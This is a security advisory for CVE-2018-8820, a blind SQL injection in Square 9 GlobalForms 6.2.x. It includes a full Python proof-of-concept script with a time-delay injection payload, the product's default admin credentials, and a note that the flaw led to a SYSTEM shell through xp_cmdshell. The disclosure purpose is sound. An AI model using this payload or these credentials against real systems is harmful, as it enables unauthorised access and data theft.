Square 9 GlobalForms 6.2.x Blind SQL Injection

Risk: Medium
Local: No
Remote: Yes

# Blind SQL Injection in Square 9 GlobalForms <= 6.2.x (CVE-2018-8820) ## Product Description GlobalFormsA(r) is Square 9as powerful web forms product. GlobalForms can live separate of GlobalSearch and runs on a separate Web Engine. ## Vulnerability Type Blind SQL injection ## Vulnerability Description Square 9 GlobalForms versions 6.2.x (and possibly others) are vulnerable to blind SQL injection in the match parameter wihtin the "/frevvo/web/tn/d/users?match=" path. This is a remotely accessible, authenticated function within default Square 9 GlobalForms instances. ## Exploit A proof of concept is available here: https://github.com/hateshape/frevvomapexec frevvomapexec.py: #!/usr/bin/python import sys import argparse import datetime import requests from argparse import RawTextHelpFormatter from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def sqli(target, port, username, password, seconds): sqlpayload = "')waitfor%20delay'0%3a0%3a" + str(seconds) + "'--" s = requests.session() login_data = {'username': 'admin@d', 'password': 'admin', 'lAction':'Login'} m = s.post('https://' + target + ':' + port + '/frevvo/web/login', data=login_data, verify=False ) print "Delay #1: " + str(datetime.datetime.utcnow()) r = s.get(('https://' + target + ':' + port + "/frevvo/web/tn/d/users?match=t" + sqlpayload), verify=False, cookies=s.cookies) print "Delay #2: " + str(datetime.datetime.utcnow()) if __name__ == '__main__': parser = argparse.ArgumentParser(description=""" Proof of Concept script for vulnerability validation. - Type of issue: Authenticated SQL injection - Product: Square 9 GlobalForms 6.2 - Version: v6.2.1.27377""",formatter_class=RawTextHelpFormatter) Required = parser.add_argument_group('Required') #Required Required.add_argument('-t', '--target', help='Target URL or IP Address', required=True) Required.add_argument('-s','--seconds', help='Number of seconds to pause Frevvo', required=True) Required.add_argument('-o','--port', help='Frevvo Web Server Port', required=True) #Optional parser.add_argument('-u', '--username', help='Login Username', default='admin', action="store_true", required=False) parser.add_argument('-p', '--password', help='Login Password', default='admin@d', action="store_true", required=False) args = parser.parse_args() sqli(args.target,args.port,args.username,args.password,args.seconds) if len(sys.argv) == 1: parser.print_help() ## Versions Square 9 GlobalForms <= 6.2.x ## Attack Type Authenticated, Remote # Default Credentials Username: admin Password: admin@d ## Impact The SQL injection vulnerability can be used to exfiltrate sensitive information from the MSSQL DBMS used with GlobalForms. In every case that was tested the DBMS was running with SYSTEM privileges and was successfully used in conjunction with xp_cmdshell to establish an interactive shell. ## Credit This vulnerability was discovered by Darrell Damstedt <hateshape () gmail com>. ## References CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8820

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